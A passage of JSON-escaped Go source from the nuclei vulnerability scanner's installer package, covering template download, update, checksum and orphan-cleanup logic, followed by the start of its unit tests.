table.Append(v)\n\t}\n\t_ = table.Render()\n\tdefer func() {\n\t\t_ = table.Close()\n\t}()\n\treturn buff.String()\n}\n\n// TemplateManager is a manager for templates.\n// It downloads / updates / installs templates.\ntype TemplateManager struct {\n\tCustomTemplates        *customtemplates.CustomTemplatesManager // optional if given tries to download custom templates\n\tDisablePublicTemplates bool                                    // if true,\n\t// public templates are not downloaded from the GitHub nuclei-templates repository\n}\n\n// FreshInstallIfNotExists installs templates if they are not already installed\n// if templates directory already exists, it does nothing\nfunc (t *TemplateManager) FreshInstallIfNotExists() error {\n\tif fileutil.FolderExists(config.DefaultConfig.TemplatesDirectory) {\n\t\treturn nil\n\t}\n\tgologger.Info().Msgf(\"nuclei-templates are not installed, installing...\")\n\tif err := t.installTemplatesAt(config.DefaultConfig.TemplatesDirectory); err != nil {\n\t\treturn errkit.Wrapf(err, \"failed to install templates at %s\", config.DefaultConfig.TemplatesDirectory)\n\t}\n\tif t.CustomTemplates != nil {\n\t\tt.CustomTemplates.Download(context.TODO())\n\t}\n\treturn nil\n}\n\n// UpdateIfOutdated updates templates if they are outdated\nfunc (t *TemplateManager) UpdateIfOutdated() error {\n\t// if the templates folder does not exist, it's a fresh installation and do not update\n\tif !fileutil.FolderExists(config.DefaultConfig.TemplatesDirectory) {\n\t\treturn t.FreshInstallIfNotExists()\n\t}\n\n\tneedsUpdate := config.DefaultConfig.NeedsTemplateUpdate()\n\n\t// NOTE(dwisiswant0): if PDTM API data is not available\n\t// (LatestNucleiTemplatesVersion is empty) but we have a current template\n\t// version, so we MUST verify against GitHub directly.\n\tif !needsUpdate && config.DefaultConfig.LatestNucleiTemplatesVersion == \"\" && config.DefaultConfig.TemplateVersion != \"\" {\n\t\tghrd, err := updateutils.NewghReleaseDownloader(config.OfficialNucleiTemplatesRepoName)\n\t\tif err == nil {\n\t\t\tlatestVersion := ghrd.Latest.GetTagName()\n\t\t\tif config.IsOutdatedVersion(config.DefaultConfig.TemplateVersion, latestVersion) {\n\t\t\t\tneedsUpdate = true\n\t\t\t\tgologger.Debug().Msgf(\"PDTM API unavailable, verified update needed via GitHub API: %s -> %s\", config.DefaultConfig.TemplateVersion, latestVersion)\n\t\t\t}\n\t\t}\n\t}\n\n\tif needsUpdate {\n\t\treturn t.updateTemplatesAt(config.DefaultConfig.TemplatesDirectory)\n\t}\n\treturn nil\n}\n\n// installTemplatesAt installs templates at given directory\nfunc (t *TemplateManager) installTemplatesAt(dir string) error {\n\tif !fileutil.FolderExists(dir) {\n\t\tif err := fileutil.CreateFolder(dir); err != nil {\n\t\t\treturn errkit.Wrapf(err, \"failed to create directory at %s\", dir)\n\t\t}\n\t}\n\tif t.DisablePublicTemplates {\n\t\tgologger.Info().Msgf(\"Skipping installation of public nuclei-templates\")\n\t\treturn nil\n\t}\n\tghrd, err := updateutils.NewghReleaseDownloader(config.OfficialNucleiTemplatesRepoName)\n\tif err != nil {\n\t\treturn errkit.Wrapf(err, \"failed to install templates at %s\", dir)\n\t}\n\n\t// write templates to disk\n\t_, err = t.writeTemplatesToDisk(ghrd, dir)\n\tif err != nil {\n\t\treturn errkit.Wrapf(err, \"failed to write templates to disk at %s\", dir)\n\t}\n\tgologger.Info().Msgf(\"Successfully installed nuclei-templates at %s\", dir)\n\treturn nil\n}\n\n// updateTemplatesAt updates templates at given directory\nfunc (t *TemplateManager) updateTemplatesAt(dir string) error {\n\tif t.DisablePublicTemplates {\n\t\tgologger.Info().Msgf(\"Skipping update of public nuclei-templates\")\n\t\treturn nil\n\t}\n\t// firstly, read checksums from .checksum file these are used to generate stats\n\toldchecksums, err := t.getChecksumFromDir(dir)\n\tif err != nil {\n\t\t// if something went wrong, overwrite all files\n\t\toldchecksums = make(map[string]string)\n\t}\n\n\tghrd, err := updateutils.NewghReleaseDownloader(config.OfficialNucleiTemplatesRepoName)\n\tif err != nil {\n\t\treturn errkit.Wrapf(err, \"failed to install templates at %s\", dir)\n\t}\n\n\tlatestVersion := ghrd.Latest.GetTagName()\n\tcurrentVersion := config.DefaultConfig.TemplateVersion\n\n\tif config.IsOutdatedVersion(currentVersion, latestVersion) {\n\t\tgologger.Info().Msgf(\"Your current nuclei-templates %s are outdated. Latest is %s\\n\", currentVersion, latestVersion)\n\t} else {\n\t\tgologger.Debug().Msgf(\"Updating nuclei-templates from %s to %s (forced update)\\n\", currentVersion, latestVersion)\n\t}\n\n\t// write templates to disk\n\twrittenPaths, err := t.writeTemplatesToDisk(ghrd, dir)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// cleanup orphaned templates that exist locally but weren't in the new release\n\tif err := t.cleanupOrphanedTemplates(dir, writtenPaths); err != nil {\n\t\t// log warning but don't fail the update\n\t\tgologger.Warning().Msgf(\"failed to cleanup orphaned templates: %s\", err)\n\t} else {\n\t\t// Regenerate metadata (index and checksum) after successful cleanup to ensure\n\t\t// metadata accurately reflects the cleaned template tree. This prevents stale\n\t\t// index entries and checksum entries for deleted templates.\n\t\tif err := t.regenerateTemplateMetadata(dir); err != nil {\n\t\t\t// Log warning but don't fail the update - metadata will be out of sync\n\t\t\t// but templates are cleaned up correctly\n\t\t\tgologger.Warning().Msgf(\"failed to regenerate template metadata after cleanup: %s\", err)\n\t\t}\n\t}\n\n\t// get checksums from new templates\n\tnewchecksums, err := t.getChecksumFromDir(dir)\n\tif err != nil {\n\t\t// unlikely this case will happen\n\t\treturn errkit.Wrapf(err, \"failed to get checksums from %s after update\", dir)\n\t}\n\n\t// summarize all changes\n\tresults := t.summarizeChanges(oldchecksums, newchecksums)\n\n\t// remove deleted templates\n\tfor _, deletion := range results.deletions {\n\t\tif err := os.Remove(deletion); err != nil && !os.IsNotExist(err) {\n\t\t\tgologger.Warning().Msgf(\"failed to remove deleted template %s: %s\", deletion, err)\n\t\t}\n\t}\n\n\t// print summary\n\tif results.totalCount > 0 {\n\t\tgologger.Info().Msgf(\"Successfully updated nuclei-templates (%v) to %s. GoodLuck!\", ghrd.Latest.GetTagName(), dir)\n\t\tif !HideUpdateChangesTable {\n\t\t\t// print summary table\n\t\t\tgologger.Print().Msgf(\"\\nNuclei Templates %s Changelog\\n\", ghrd.Latest.GetTagName())\n\t\t\tgologger.Print().Msg(results.String())\n\t\t}\n\t} else {\n\t\tgologger.Info().Msgf(\"Successfully updated nuclei-templates (%v) to %s. GoodLuck!\", ghrd.Latest.GetTagName(), dir)\n\t}\n\treturn nil\n}\n\n// summarizeChanges summarizes changes between old and new checksums\nfunc (t *TemplateManager) summarizeChanges(old, new map[string]string) *templateUpdateResults {\n\tresults := &templateUpdateResults{}\n\tfor k, v := range new {\n\t\tif oldv, ok := old[k]; ok {\n\t\t\tif oldv != v {\n\t\t\t\tresults.modifications = append(results.modifications, k)\n\t\t\t}\n\t\t} else {\n\t\t\tresults.additions = append(results.additions, k)\n\t\t}\n\t}\n\tfor k := range old {\n\t\tif _, ok := new[k]; !ok {\n\t\t\tresults.deletions = append(results.deletions, k)\n\t\t}\n\t}\n\tresults.totalCount = len(results.additions) + len(results.deletions) + len(results.modifications)\n\treturn results\n}\n\n// getAbsoluteFilePath returns an absolute path where a file should be written based on given uri(i.e., files in zip)\n// if a returned path is empty, it means that file should not be written and skipped\nfunc (t *TemplateManager) getAbsoluteFilePath(templateDir, uri string, f fs.FileInfo) string {\n\t// overwrite .nuclei-ignore every time nuclei-templates are downloaded\n\tif f.Name() == config.NucleiIgnoreFileName {\n\t\treturn config.DefaultConfig.GetIgnoreFilePath()\n\t}\n\t// skip all meta files\n\tif !strings.EqualFold(f.Name(), config.NewTemplateAdditionsFileName) {\n\t\tif strings.TrimSpace(f.Name()) == \"\" || strings.HasPrefix(f.Name(), \".\") || strings.EqualFold(f.Name(), \"README.md\") {\n\t\t\treturn \"\"\n\t\t}\n\t}\n\n\t// get root or leftmost directory name from path\n\t// this is in format `projectdiscovery-nuclei-templates-commithash`\n\n\tindex := strings.Index(uri, \"/\")\n\tif index == -1 {\n\t\t// zip files does not have directory at all , in this case log error but continue\n\t\tgologger.Warning().Msgf(\"failed to get directory name from uri: %s\", uri)\n\t\treturn filepath.Join(templateDir, uri)\n\t}\n\t// separator is also included in rootDir\n\trootDirectory := uri[:index+1]\n\trelPath := strings.TrimPrefix(uri, rootDirectory)\n\n\t// if it is a github meta directory skip it\n\tif stringsutil.HasPrefixAny(relPath, \".github\", \".git\") {\n\t\treturn \"\"\n\t}\n\n\tnewPath := filepath.Clean(filepath.Join(templateDir, relPath))\n\n\tif !strings.HasPrefix(newPath, templateDir) {\n\t\t// we don't allow LFI\n\t\treturn \"\"\n\t}\n\n\tif newPath == templateDir || newPath == templateDir+string(os.PathSeparator) {\n\t\t// skip writing the folder itself since it already exists\n\t\treturn \"\"\n\t}\n\n\tif relPath != \"\" && f.IsDir() {\n\t\t// if uri is a directory, create it\n\t\tif err := fileutil.CreateFolder(newPath); err != nil {\n\t\t\tgologger.Warning().Msgf(\"uri %v: got %s while installing templates\", uri, err)\n\t\t}\n\t\treturn \"\"\n\t}\n\treturn newPath\n}\n\n// writeTemplatesToDisk writes all templates to disk and returns a map of written file paths\n// The returned map contains absolute paths of all template files that were successfully written\nfunc (t *TemplateManager) writeTemplatesToDisk(ghrd *updateutils.GHReleaseDownloader, dir string) (*mapsutil.SyncLockMap[string, struct{}], error) {\n\tlocalTemplatesIndex, err := config.GetNucleiTemplatesIndex()\n\tif err != nil {\n\t\tgologger.Warning().Msgf(\"failed to get local nuclei-templates index: %s\", err)\n\t\tif localTemplatesIndex == nil {\n\t\t\tlocalTemplatesIndex = map[string]string{} // no-op\n\t\t}\n\t}\n\n\t// Track all paths that are successfully written during this update\n\twrittenPaths := mapsutil.NewSyncLockMap[string, struct{}]()\n\n\tcallbackFunc := func(uri string, f fs.FileInfo, r io.Reader) error {\n\t\twritePath := t.getAbsoluteFilePath(dir, uri, f)\n\t\tif writePath == \"\" {\n\t\t\t// skip writing file\n\t\t\treturn nil\n\t\t}\n\n\t\tbin, err := io.ReadAll(r)\n\t\tif err != nil {\n\t\t\t// if error occurs, iteration also stops\n\t\t\treturn errkit.Wrapf(err, \"failed to read file %s\", uri)\n\t\t}\n\t\t// TODO: It might be better to just download index file from nuclei templates repo\n\t\t// instead of creating it from scratch\n\t\tid, _ := config.GetTemplateIDFromReader(bytes.NewReader(bin), uri)\n\t\tif id != \"\" {\n\t\t\t// based on template id, check if we are updating a path of official nuclei template\n\t\t\tif oldPath, ok := localTemplatesIndex[id]; ok {\n\t\t\t\tif oldPath != writePath {\n\t\t\t\t\t// write new template at a new path and delete old template\n\t\t\t\t\tif err := os.WriteFile(writePath, bin, f.Mode()); err != nil {\n\t\t\t\t\t\treturn errkit.Wrapf(err, \"failed to write file %s\", uri)\n\t\t\t\t\t}\n\t\t\t\t\t// Track the new path as written\n\t\t\t\t\t_ = writtenPaths.Set(writePath, struct{}{})\n\t\t\t\t\t// after successful write, remove old template\n\t\t\t\t\tif err := os.Remove(oldPath); err != nil {\n\t\t\t\t\t\tgologger.Warning().Msgf(\"failed to remove old template %s: %s\", oldPath, err)\n\t\t\t\t\t}\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t// no change in template Path of official templates\n\t\tif err := os.WriteFile(writePath, bin, f.Mode()); err != nil {\n\t\t\treturn errkit.Wrapf(err, \"failed to write file %s\", uri)\n\t\t}\n\t\t// Track successfully written paths\n\t\t_ = writtenPaths.Set(writePath, struct{}{})\n\t\treturn nil\n\t}\n\terr = ghrd.DownloadSourceWithCallback(!HideProgressBar, callbackFunc)\n\tif err != nil {\n\t\treturn nil, errkit.Wrap(err, \"failed to download templates\")\n\t}\n\n\tif err := config.DefaultConfig.WriteTemplatesConfig(); err != nil {\n\t\treturn nil, errkit.Wrap(err, \"failed to write templates config\")\n\t}\n\t// update ignore hash after writing new templates\n\tif err := config.DefaultConfig.UpdateNucleiIgnoreHash(); err != nil {\n\t\treturn nil, errkit.Wrap(err, \"failed to update nuclei ignore hash\")\n\t}\n\n\t// update templates version in config file\n\tif err := config.DefaultConfig.SetTemplatesVersion(ghrd.Latest.GetTagName()); err != nil {\n\t\treturn nil, errkit.Wrap(err, \"failed to update templates version\")\n\t}\n\n\tPurgeEmptyDirectories(dir)\n\n\t// generate index of all templates\n\t_ = os.Remove(config.DefaultConfig.GetTemplateIndexFilePath())\n\n\tindex, err := config.GetNucleiTemplatesIndex()\n\tif err != nil {\n\t\treturn nil, errkit.Wrap(err, \"failed to get nuclei templates index\")\n\t}\n\n\tif err = config.DefaultConfig.WriteTemplatesIndex(index); err != nil {\n\t\treturn nil, errkit.Wrap(err, \"failed to write nuclei templates index\")\n\t}\n\n\tif !HideReleaseNotes {\n\t\toutput := ghrd.Latest.GetBody()\n\t\t// adjust colors for both dark / light terminal themes\n\t\tr, err := glamour.NewTermRenderer(glamour.WithAutoStyle())\n\t\tif err != nil {\n\t\t\tgologger.Error().Msgf(\"markdown rendering not supported: %v\", err)\n\t\t}\n\t\tif rendered, err := r.Render(output); err == nil {\n\t\t\toutput = rendered\n\t\t} else {\n\t\t\tgologger.Error().Msg(err.Error())\n\t\t}\n\t\tgologger.Print().Msgf(\"\\n%v\\n\\n\", output)\n\t}\n\n\t// after installation, create and write checksums to .checksum file\n\tif err := t.writeChecksumFileInDir(dir); err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn writtenPaths, nil\n}\n\n// cleanupOrphanedTemplates removes template files that exist locally but were not part of the new release\n// It scans the templates directory for template files and deletes those that are not in the writtenPaths set\n// This function handles empty directories gracefully - if the directory is empty, no orphaned files will be found\nfunc (t *TemplateManager) cleanupOrphanedTemplates(dir string, writtenPaths *mapsutil.SyncLockMap[string, struct{}]) error {\n\tabsDir, err := filepath.Abs(dir)\n\tif err != nil {\n\t\treturn errkit.Wrapf(err, \"failed to get absolute path of templates directory\")\n\t}\n\t// Use Clean to normalize the path consistently (handles Windows paths better)\n\tabsDir = filepath.Clean(absDir)\n\n\t// If directory doesn't exist, there's nothing to clean up\n\tif !fileutil.FolderExists(absDir) {\n\t\treturn nil\n\t}\n\n\t// Normalize all written paths to absolute paths for comparison\n\tnormalizedWrittenPaths := mapsutil.NewSyncLockMap[string, struct{}]()\n\tfor path := range writtenPaths.GetAll() {\n\t\tabsPath, err := filepath.Abs(path)\n\t\tif err == nil {\n\t\t\t// Use Clean to normalize the path consistently (handles Windows paths better)\n\t\t\tabsPath = filepath.Clean(absPath)\n\t\t\t_ = normalizedWrittenPaths.Set(absPath, struct{}{})\n\t\t}\n\t}\n\n\t// Get custom template directories to exclude\n\tcustomDirs := config.DefaultConfig.GetAllCustomTemplateDirs()\n\tcustomDirAbs := make([]string, 0, len(customDirs))\n\tfor _, customDir := range customDirs {\n\t\tif absCustomDir, err := filepath.Abs(customDir); err == nil {\n\t\t\t// Use Clean to normalize the path consistently (handles Windows paths better)\n\t\t\tabsCustomDir = filepath.Clean(absCustomDir)\n\t\t\tcustomDirAbs = append(customDirAbs, absCustomDir)\n\t\t}\n\t}\n\n\tvar orphanedFiles []string\n\n\t// Walk the templates directory to find all template files\n\terr = filepath.WalkDir(absDir, func(path string, d fs.DirEntry, err error) error {\n\t\tif err != nil {\n\t\t\t// Log but continue walking\n\t\t\tgologger.Debug().Msgf(\"error accessing path %s during orphan cleanup: %s\", path, err)\n\t\t\treturn nil\n\t\t}\n\n\t\t// Skip directories\n\t\tif d.IsDir() {\n\t\t\treturn nil\n\t\t}\n\n\t\tabsPath, err := filepath.Abs(path)\n\t\tif err != nil {\n\t\t\treturn nil\n\t\t}\n\t\t// Use Clean to normalize the path consistently (handles Windows paths better)\n\t\tabsPath = filepath.Clean(absPath)\n\n\t\t// Skip custom template directories\n\t\tfor _, customDir := range customDirAbs {\n\t\t\tif strings.HasPrefix(absPath, customDir) {\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\n\t\t// Only process template files\n\t\tif !config.IsTemplate(absPath) {\n\t\t\treturn nil\n\t\t}\n\n\t\t// Skip if this file was written in the new release\n\t\tif normalizedWrittenPaths.Has(absPath) {\n\t\t\treturn nil\n\t\t}\n\n\t\t// This is an orphaned template file\n\t\torphanedFiles = append(orphanedFiles, absPath)\n\t\treturn nil\n\t})\n\n\tif err != nil {\n\t\treturn errkit.Wrapf(err, \"failed to walk templates directory for orphan cleanup\")\n\t}\n\n\t// Delete orphaned files\n\tfor _, orphanPath := range orphanedFiles {\n\t\tif err := os.Remove(orphanPath); err != nil {\n\t\t\tif !os.IsNotExist(err) {\n\t\t\t\tgologger.Warning().Msgf(\"failed to remove orphaned template %s: %s\", orphanPath, err)\n\t\t\t}\n\t\t} else {\n\t\t\tgologger.Debug().Msgf(\"removed orphaned template: %s\", orphanPath)\n\t\t}\n\t}\n\n\tif len(orphanedFiles) > 0 {\n\t\tgologger.Info().Msgf(\"cleaned up %d orphaned template file(s)\", len(orphanedFiles))\n\t}\n\n\treturn nil\n}\n\n// regenerateTemplateMetadata regenerates template index and checksum files after cleanup operations.\n// This ensures the metadata accurately reflects the current state of template files on disk.\nfunc (t *TemplateManager) regenerateTemplateMetadata(dir string) error {\n\t// Purge empty directories that may have been left after cleanup\n\tPurgeEmptyDirectories(dir)\n\n\t// Ensure templates directory exists (it may have been purged if empty)\n\tif !fileutil.FolderExists(dir) {\n\t\tif err := os.MkdirAll(dir, 0755); err != nil {\n\t\t\treturn errkit.Wrapf(err, \"failed to recreate templates directory %s after purge\", dir)\n\t\t}\n\t}\n\n\t// Remove old index file and regenerate it from current templates on disk\n\tindexFilePath := config.DefaultConfig.GetTemplateIndexFilePath()\n\tif err := os.Remove(indexFilePath); err != nil && !os.IsNotExist(err) {\n\t\treturn errkit.Wrapf(err, \"failed to remove old index file %s\", indexFilePath)\n\t}\n\n\t// Force regeneration by ensuring the file doesn't exist (handles Windows file handle issues)\n\t// GetNucleiTemplatesIndex will scan the directory if the file doesn't exist\n\tindex, err := config.GetNucleiTemplatesIndex()\n\tif err != nil {\n\t\treturn errkit.Wrap(err, \"failed to regenerate nuclei templates index after cleanup\")\n\t}\n\n\t// Filter out any entries that don't actually exist on disk (Windows file deletion timing issues)\n\tfilteredIndex := make(map[string]string)\n\tfor id, path := range index {\n\t\tif fileutil.FileExists(path) {\n\t\t\tfilteredIndex[id] = path\n\t\t}\n\t}\n\n\tif err = config.DefaultConfig.WriteTemplatesIndex(filteredIndex); err != nil {\n\t\treturn errkit.Wrap(err, \"failed to write nuclei templates index after cleanup\")\n\t}\n\n\t// Regenerate checksum file to reflect current templates on disk\n\tif err := t.writeChecksumFileInDir(dir); err != nil {\n\t\treturn errkit.Wrap(err, \"failed to regenerate checksum file after cleanup\")\n\t}\n\n\treturn nil\n}\n\n// getChecksumFromDir returns a map containing checksums (md5 hash) of all yaml files (with .yaml extension)\n// if .checksum file does not exist, checksums are calculated and returned\nfunc (t *TemplateManager) getChecksumFromDir(dir string) (map[string]string, error) {\n\tchecksumFilePath := config.DefaultConfig.GetChecksumFilePath()\n\tif fileutil.FileExists(checksumFilePath) {\n\t\tchecksums, err := os.ReadFile(checksumFilePath)\n\t\tif err == nil {\n\t\t\tallChecksums := make(map[string]string)\n\t\t\tfor _, v := range strings.Split(string(checksums), \";\") {\n\t\t\t\tv = strings.TrimSpace(v)\n\t\t\t\ttmparr := strings.Split(v, \",\")\n\t\t\t\tif len(tmparr) != 2 {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tallChecksums[tmparr[0]] = tmparr[1]\n\t\t\t}\n\t\t\treturn allChecksums, nil\n\t\t}\n\t}\n\treturn t.calculateChecksumMap(dir)\n}\n\n// writeChecksumFileInDir creates checksums of all yaml files in given directory\n// and writes them to a file named .checksum\nfunc (t *TemplateManager) writeChecksumFileInDir(dir string) error {\n\tchecksumMap, err := t.calculateChecksumMap(dir)\n\tif err != nil {\n\t\treturn err\n\t}\n\tvar buff bytes.Buffer\n\tfor k, v := range checksumMap {\n\t\tbuff.WriteString(k)\n\t\tbuff.WriteString(\",\")\n\t\tbuff.WriteString(v)\n\t\tbuff.WriteString(\";\")\n\t}\n\treturn os.WriteFile(config.DefaultConfig.GetChecksumFilePath(), buff.Bytes(), checkSumFilePerm)\n}\n\n// getChecksumMap returns a map containing checksums (md5 hash) of all yaml files (with .yaml extension)\nfunc (t *TemplateManager) calculateChecksumMap(dir string) (map[string]string, error) {\n\t// getchecksumMap walks given directory `dir` and returns a map containing\n\t// checksums (md5 hash) of all yaml files (with .yaml extension) and the\n\t// format is map[filePath]checksum\n\tchecksumMap := map[string]string{}\n\n\tgetChecksum := func(filepath string) (string, error) {\n\t\t// return md5 hash of the file\n\t\tbin, err := os.ReadFile(filepath)\n\t\tif err != nil {\n\t\t\treturn \"\", err\n\t\t}\n\t\treturn fmt.Sprintf(\"%x\", md5.Sum(bin)), nil\n\t}\n\n\terr := filepath.WalkDir(dir, func(path string, d fs.DirEntry, err error) error {\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\t// skip checksums of custom templates i.e github and s3\n\t\tif stringsutil.HasPrefixAny(path, config.DefaultConfig.GetAllCustomTemplateDirs()...) {\n\t\t\treturn nil\n\t\t}\n\n\t\t// current implementations calculates checksums of all files (including .yaml,.txt,.md,.json etc)\n\t\tif !d.IsDir() {\n\t\t\tchecksum, err := getChecksum(path)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tchecksumMap[path] = checksum\n\t\t}\n\t\treturn nil\n\t})\n\treturn checksumMap, errkit.Wrap(err, \"failed to calculate checksums of templates\")\n}\n"
  },
  {
    "path": "pkg/installer/template_test.go",
    "content": "package installer\n\nimport (\n\t\"os\"\n\t\"path/filepath\"\n\t\"strings\"\n\t\"testing\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\tfileutil \"github.com/projectdiscovery/utils/file\"\n\tmapsutil \"github.com/projectdiscovery/utils/maps\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestTemplateInstallation(t *testing.T) {\n\t// test that the templates are installed correctly\n\t// along with necessary changes that are made\n\tHideProgressBar = true\n\n\ttm := &TemplateManager{}\n\tdir, err := os.MkdirTemp(\"\", \"nuclei-templates-*\")\n\trequire.Nil(t, err)\n\tcfgdir, err := os.MkdirTemp(\"\", \"nuclei-config-*\")\n\trequire.Nil(t, err)\n\tdefer func() {\n\t\t_ = os.RemoveAll(dir)\n\t\t_ = os.RemoveAll(cfgdir)\n\t}()\n\n\t// set the config directory to a temporary directory\n\tconfig.DefaultConfig.SetConfigDir(cfgdir)\n\t// set the templates directory to a temporary directory\n\ttemplatesTempDir := filepath.Join(dir, \"templates\")\n\tconfig.DefaultConfig.SetTemplatesDir(templatesTempDir)\n\n\terr = tm.FreshInstallIfNotExists()\n\tif err != nil {\n\t\tif strings.Contains(err.Error(), \"rate limit\") {\n\t\t\tt.Skip(\"Skipping test due to github rate limit\")\n\t\t}\n\t\trequire.Nil(t, err)\n\t}\n\n\t// we should switch to more fine granular tests for template\n\t// integrity, but for now, we just check that the templates are installed\n\tcounter := 0\n\terr = filepath.Walk(templatesTempDir, func(path string, info os.FileInfo, err error) error {\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif !info.IsDir() {\n\t\t\tcounter++\n\t\t}\n\t\treturn nil\n\t})\n\trequire.Nil(t, err)\n\n\t// we should have at least 1000 templates\n\trequire.Greater(t, counter, 1000)\n\t// every time we install templates, it should override the ignore file with latest one\n\trequire.FileExists(t, config.DefaultConfig.GetIgnoreFilePath())\n\tt.Logf(\"Installed %d templates\", counter)\n}\n\nfunc TestIsOutdatedVersion(t *testing.T) {\n\ttestCases := []struct {\n\t\tcurrent  string\n\t\tlatest   string\n\t\texpected bool\n\t\tdesc     string\n\t}{\n\t\t// Test the empty latest version case (main bug fix)\n\t\t{\"v10.2.7\", \"\", false, \"Empty latest version should not trigger update\"},\n\n\t\t// Test same versions\n\t\t{\"v10.2.7\", \"v10.2.7\", false, \"Same versions should not trigger update\"},\n\n\t\t// Test outdated version\n\t\t{\"v10.2.6\", \"v10.2.7\", true, \"Older version should trigger update\"},\n\n\t\t// Test newer current version (edge case)\n\t\t{\"v10.2.8\", \"v10.2.7\", false, \"Newer current version should not trigger update\"},\n\n\t\t// Test dev versions\n\t\t{\"v10.2.7-dev\", \"v10.2.7\", false, \"Dev version matching release should not trigger update\"},\n\t\t{\"v10.2.6-dev\", \"v10.2.7\", true, \"Outdated dev version should trigger update\"},\n\n\t\t// Test invalid semver fallback\n\t\t{\"invalid-version\", \"v10.2.7\", true, \"Invalid current version should trigger update (fallback)\"},\n\t\t{\"v10.2.7\", \"invalid-version\", true, \"Invalid latest version should trigger update (fallback)\"},\n\t\t{\"same-invalid\", \"same-invalid\", false, \"Same invalid versions should not trigger update (fallback)\"},\n\t}\n\n\tfor _, tc := range testCases {\n\t\tt.Run(tc.desc, func(t *testing.T) {\n\t\t\tresult := config.IsOutdatedVersion(tc.current, tc.latest)\n\t\t\trequire.Equal(t, tc.expected, result,\n\t\t\t\t\"IsOutdatedVersion(%q, %q) = %t, expected %t\",\n\t\t\t\ttc.current, tc.latest, result, tc.expected)\n\t\t})\n\t}\n}\n\nfunc TestCleanupOrphanedTemplates(t *testing.T) {\n\tHideProgressBar = true\n\n\ttm := &TemplateManager{}\n\n\tt.Run(\"removes orphaned templates\", func(t *testing.T) {\n\t\t// Create temporary directories\n\t\ttmpDir, err := os.MkdirTemp(\"\", \"nuclei-cleanup-test-*\")\n\t\trequire.NoError(t, err)\n\t\tdefer func() {\n\t\t\t_ = os.RemoveAll(tmpDir)\n\t\t}()\n\n\t\tcfgdir, err := os.MkdirTemp(\"\", \"nuclei-config-*\")\n\t\trequire.NoError(t, err)\n\t\tdefer func() {\n\t\t\t_ = os.RemoveAll(cfgdir)\n\t\t}()\n\n\t\tconfig.DefaultConfig.SetConfigDir(cfgdir)\n\t\tconfig.DefaultConfig.SetTemplatesDir(tmpDir)\n\n\t\t// Create subdirectories for templates\n\t\ttemplatesDir1 := filepath.Join(tmpDir, \"cves\", \"2023\")\n\t\ttemplatesDir2 := filepath.Join(tmpDir, \"exposures\", \"configs\")\n\t\trequire.NoError(t, os.MkdirAll(templatesDir1, 0755))\n\t\trequire.NoError(t, os.MkdirAll(templatesDir2, 0755))\n\n\t\t// Create template files\n\t\ttemplate1 := filepath.Join(templatesDir1, \"CVE-2023-1234.yaml\")\n\t\ttemplate2 := filepath.Join(templatesDir1, \"CVE-2023-5678.yaml\")\n\t\ttemplate3 := filepath.Join(templatesDir2, \"git-config-exposure.yaml\")\n\t\torphanedTemplate1 := filepath.Join(templatesDir1, \"old-template.yaml\")\n\t\torphanedTemplate2 := filepath.Join(templatesDir2, \"removed-template.yaml\")\n\n\t\t// Write valid template files\n\t\ttemplateContent := `id: test-template\ninfo:\n  name: Test Template\n  author: test\n  severity: info`\n\t\trequire.NoError(t, os.WriteFile(template1, []byte(templateContent), 0644))\n\t\trequire.NoError(t, os.WriteFile(template2, []byte(templateContent), 0644))\n\t\trequire.NoError(t, os.WriteFile(template3, []byte(templateContent), 0644))\n\t\trequire.NoError(t, os.WriteFile(orphanedTemplate1, []byte(templateContent), 0644))\n\t\trequire.NoError(t, os.WriteFile(orphanedTemplate2, []byte(templateContent), 0644))\n\n\t\t// Simulate written paths from new release (only template1, template2, template3)\n\t\twrittenPaths := mapsutil.NewSyncLockMap[string, struct{}]()\n\t\tabsTemplate1, _ := filepath.Abs(template1)\n\t\tabsTemplate2, _ := filepath.Abs(template2)\n\t\tabsTemplate3, _ := filepath.Abs(template3)\n\t\t// Normalize paths consistently (same as cleanupOrphanedTemplates does)\n\t\tabsTemplate1 = filepath.Clean(absTemplate1)\n\t\tabsTemplate2 = filepath.Clean(absTemplate2)\n\t\tabsTemplate3 = filepath.Clean(absTemplate3)\n\t\t_ = writtenPaths.Set(absTemplate1, struct{}{})\n\t\t_ = writtenPaths.Set(absTemplate2, struct{}{})\n\t\t_ = writtenPaths.Set(absTemplate3, struct{}{})\n\n\t\t// Run cleanup\n\t\terr = tm.cleanupOrphanedTemplates(tmpDir, writtenPaths)\n\t\trequire.NoError(t, err)\n\n\t\t// Verify orphaned templates were removed\n\t\trequire.NoFileExists(t, orphanedTemplate1, \"orphaned template should be removed\")\n\t\trequire.NoFileExists(t, orphanedTemplate2, \"orphaned template should be removed\")\n\n\t\t// Verify non-orphaned templates still exist\n\t\trequire.FileExists(t, template1, \"template from new release should exist\")\n\t\trequire.FileExists(t, template2, \"template from new release should exist\")\n\t\trequire.FileExists(t, template3, \"template from new release should exist\")\n\t})\n\n\tt.Run(\"preserves custom templates\", func(t *testing.T) {\n\t\t// Create temporary directories\n\t\ttmpDir, err := os.MkdirTemp(\"\", \"nuclei-cleanup-custom-test-*\")\n\t\trequire.NoError(t, err)\n\t\tdefer func() {\n\t\t\t_ = os.RemoveAll(tmpDir)\n\t\t}()\n\n\t\tcfgdir, err := os.MkdirTemp(\"\", \"nuclei-config-*\")\n\t\trequire.NoError(t, err)\n\t\tdefer func() {\n\t\t\t_ = os.RemoveAll(cfgdir)\n\t\t}()\n\n\t\tconfig.DefaultConfig.SetConfigDir(cfgdir)\n\t\tconfig.DefaultConfig.SetTemplatesDir(tmpDir)\n\n\t\t// Create custom template directory\n\t\tcustomGitHubDir := filepath.Join(tmpDir, \"github\", \"owner\", \"repo\")\n\t\trequire.NoError(t, os.MkdirAll(customGitHubDir, 0755))\n\n\t\t// Create custom template file\n\t\tcustomTemplate := filepath.Join(customGitHubDir, \"custom-template.yaml\")\n\t\ttemplateContent := `id: custom-template\ninfo:\n  name: Custom Template\n  author: test\n  severity: info`\n\t\trequire.NoError(t, os.WriteFile(customTemplate, []byte(templateContent), 